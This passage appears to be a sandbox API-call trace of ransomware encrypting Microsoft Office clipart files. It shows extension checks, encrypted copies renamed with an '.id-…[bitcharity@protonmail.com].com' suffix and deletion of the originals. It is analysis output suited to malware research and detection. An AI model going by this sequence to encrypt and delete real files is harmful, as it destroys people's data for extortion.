lpString2=".WMF") returned -1 [0289.230] lstrlenW (lpString=".7z") returned 3 [0289.230] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0289.230] lstrlenW (lpString=".dbf") returned 4 [0289.230] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0289.230] lstrlenW (lpString=".1cd") returned 4 [0289.230] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0289.230] lstrlenW (lpString=".jpg") returned 4 [0289.230] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0289.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0289.230] lstrlenW (lpString=".doc") returned 4 [0289.231] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.231] lstrlenW (lpString=".docx") returned 5 [0289.231] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.231] lstrlenW (lpString=".pdf") returned 4 [0289.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.231] lstrlenW (lpString=".xls") returned 4 [0289.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.231] lstrlenW (lpString=".xlsx") returned 5 [0289.231] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.231] lstrlenW (lpString=".ppt") returned 4 [0289.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0289.231] lstrlenW (lpString=".zip") returned 4 [0289.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.231] lstrlenW (lpString=".rar") returned 4 [0289.231] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.231] lstrlenW (lpString=".bz2") returned 4 [0289.231] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.231] lstrlenW (lpString=".7z") returned 3 [0289.231] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0289.231] lstrlenW (lpString=".dbf") returned 4 [0289.231] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0289.231] lstrlenW (lpString=".1cd") returned 4 [0289.231] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0289.231] lstrlenW (lpString=".jpg") returned 4 [0289.231] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.231] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0289.231] lstrlenW (lpString="CG1606.WMF") returned 10 [0289.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0289.232] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=3564) returned 1 [0289.232] CloseHandle (hObject=0x10a8) returned 1 [0289.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 0x220 [0289.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0289.232] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.232] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0289.233] GetLastError () returned 0x0 [0289.233] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0xdec, lpOverlapped=0x0) returned 1 [0289.300] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xdf0, lpOverlapped=0x0) returned 1 [0289.301] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0289.301] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xe8, lpOverlapped=0x0) returned 1 [0289.301] SetEndOfFile (hFile=0x1098) returned 1 [0289.301] CloseHandle (hObject=0x1098) returned 1 [0289.302] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.302] SetEndOfFile (hFile=0x10a8) returned 1 [0289.302] CloseHandle (hObject=0x10a8) returned 1 [0289.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0289.303] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 1 [0289.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0289.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0289.303] lstrlenW (lpString=".doc") returned 4 [0289.303] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.303] lstrlenW (lpString=".docx") returned 5 [0289.303] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0289.303] lstrlenW (lpString=".pdf") returned 4 [0289.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.303] lstrlenW (lpString=".xls") returned 4 [0289.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.303] lstrlenW (lpString=".xlsx") returned 5 [0289.303] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0289.303] lstrlenW (lpString=".ppt") returned 4 [0289.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0289.304] lstrlenW (lpString=".zip") returned 4 [0289.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.304] lstrlenW (lpString=".rar") returned 4 [0289.304] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.304] lstrlenW (lpString=".bz2") returned 4 [0289.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.304] lstrlenW (lpString=".7z") returned 3 [0289.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0289.304] lstrlenW (lpString=".dbf") returned 4 [0289.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0289.304] lstrlenW (lpString=".1cd") returned 4 [0289.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0289.304] lstrlenW (lpString=".jpg") returned 4 [0289.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0289.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0289.304] lstrlenW (lpString=".doc") returned 4 [0289.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.304] lstrlenW (lpString=".docx") returned 5 [0289.304] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0289.304] lstrlenW (lpString=".pdf") returned 4 [0289.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.304] lstrlenW (lpString=".xls") returned 4 [0289.305] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.305] lstrlenW (lpString=".xlsx") returned 5 [0289.305] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0289.305] lstrlenW (lpString=".ppt") returned 4 [0289.305] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0289.305] lstrlenW (lpString=".zip") returned 4 [0289.305] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.305] lstrlenW (lpString=".rar") returned 4 [0289.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.305] lstrlenW (lpString=".bz2") returned 4 [0289.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.305] lstrlenW (lpString=".7z") returned 3 [0289.305] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0289.305] lstrlenW (lpString=".dbf") returned 4 [0289.305] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0289.305] lstrlenW (lpString=".1cd") returned 4 [0289.305] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0289.305] lstrlenW (lpString=".jpg") returned 4 [0289.305] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.305] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0289.305] lstrlenW (lpString="CLASSIC1.WMF") returned 12 [0289.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0289.306] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=2422) returned 1 [0289.306] CloseHandle (hObject=0x10a8) returned 1 [0289.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 0x220 [0289.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0289.306] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.306] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0289.307] GetLastError () returned 0x0 [0289.307] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x976, lpOverlapped=0x0) returned 1 [0289.350] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x980, lpOverlapped=0x0) returned 1 [0289.351] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0289.351] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0289.352] SetEndOfFile (hFile=0x1098) returned 1 [0289.352] CloseHandle (hObject=0x1098) returned 1 [0289.352] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.352] SetEndOfFile (hFile=0x10a8) returned 1 [0289.353] CloseHandle (hObject=0x10a8) returned 1 [0289.353] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0289.353] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 1 [0289.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0289.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0289.353] lstrlenW (lpString=".doc") returned 4 [0289.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.353] lstrlenW (lpString=".docx") returned 5 [0289.353] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0289.353] lstrlenW (lpString=".pdf") returned 4 [0289.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.354] lstrlenW (lpString=".xls") returned 4 [0289.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.354] lstrlenW (lpString=".xlsx") returned 5 [0289.354] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0289.354] lstrlenW (lpString=".ppt") returned 4 [0289.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0289.354] lstrlenW (lpString=".zip") returned 4 [0289.354] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.354] lstrlenW (lpString=".rar") returned 4 [0289.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.354] lstrlenW (lpString=".bz2") returned 4 [0289.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.354] lstrlenW (lpString=".7z") returned 3 [0289.354] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0289.354] lstrlenW (lpString=".dbf") returned 4 [0289.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0289.354] lstrlenW (lpString=".1cd") returned 4 [0289.354] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0289.354] lstrlenW (lpString=".jpg") returned 4 [0289.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0289.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0289.354] lstrlenW (lpString=".doc") returned 4 [0289.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.354] lstrlenW (lpString=".docx") returned 5 [0289.354] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0289.354] lstrlenW (lpString=".pdf") returned 4 [0289.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.355] lstrlenW (lpString=".xls") returned 4 [0289.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.355] lstrlenW (lpString=".xlsx") returned 5 [0289.355] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0289.355] lstrlenW (lpString=".ppt") returned 4 [0289.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0289.355] lstrlenW (lpString=".zip") returned 4 [0289.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.355] lstrlenW (lpString=".rar") returned 4 [0289.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.355] lstrlenW (lpString=".bz2") returned 4 [0289.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.355] lstrlenW (lpString=".7z") returned 3 [0289.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0289.355] lstrlenW (lpString=".dbf") returned 4 [0289.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0289.355] lstrlenW (lpString=".1cd") returned 4 [0289.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0289.355] lstrlenW (lpString=".jpg") returned 4 [0289.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.355] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0289.356] lstrlenW (lpString="CLASSIC2.WMF") returned 12 [0289.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0289.356] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=2262) returned 1 [0289.356] CloseHandle (hObject=0x10a8) returned 1 [0289.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 0x220 [0289.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0289.356] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.357] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0289.357] GetLastError () returned 0x0 [0289.357] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x8d6, lpOverlapped=0x0) returned 1 [0289.487] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x8e0, lpOverlapped=0x0) returned 1 [0289.489] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0289.489] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0289.489] SetEndOfFile (hFile=0x1098) returned 1 [0289.489] CloseHandle (hObject=0x1098) returned 1 [0289.489] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.490] SetEndOfFile (hFile=0x10a8) returned 1 [0289.490] CloseHandle (hObject=0x10a8) returned 1 [0289.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0289.491] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 1 [0289.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0289.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0289.491] lstrlenW (lpString=".doc") returned 4 [0289.491] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.491] lstrlenW (lpString=".docx") returned 5 [0289.491] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0289.491] lstrlenW (lpString=".pdf") returned 4 [0289.491] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.491] lstrlenW (lpString=".xls") returned 4 [0289.491] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.491] lstrlenW (lpString=".xlsx") returned 5 [0289.491] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0289.491] lstrlenW (lpString=".ppt") returned 4 [0289.491] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0289.492] lstrlenW (lpString=".zip") returned 4 [0289.492] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.492] lstrlenW (lpString=".rar") returned 4 [0289.492] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.492] lstrlenW (lpString=".bz2") returned 4 [0289.492] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.492] lstrlenW (lpString=".7z") returned 3 [0289.492] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 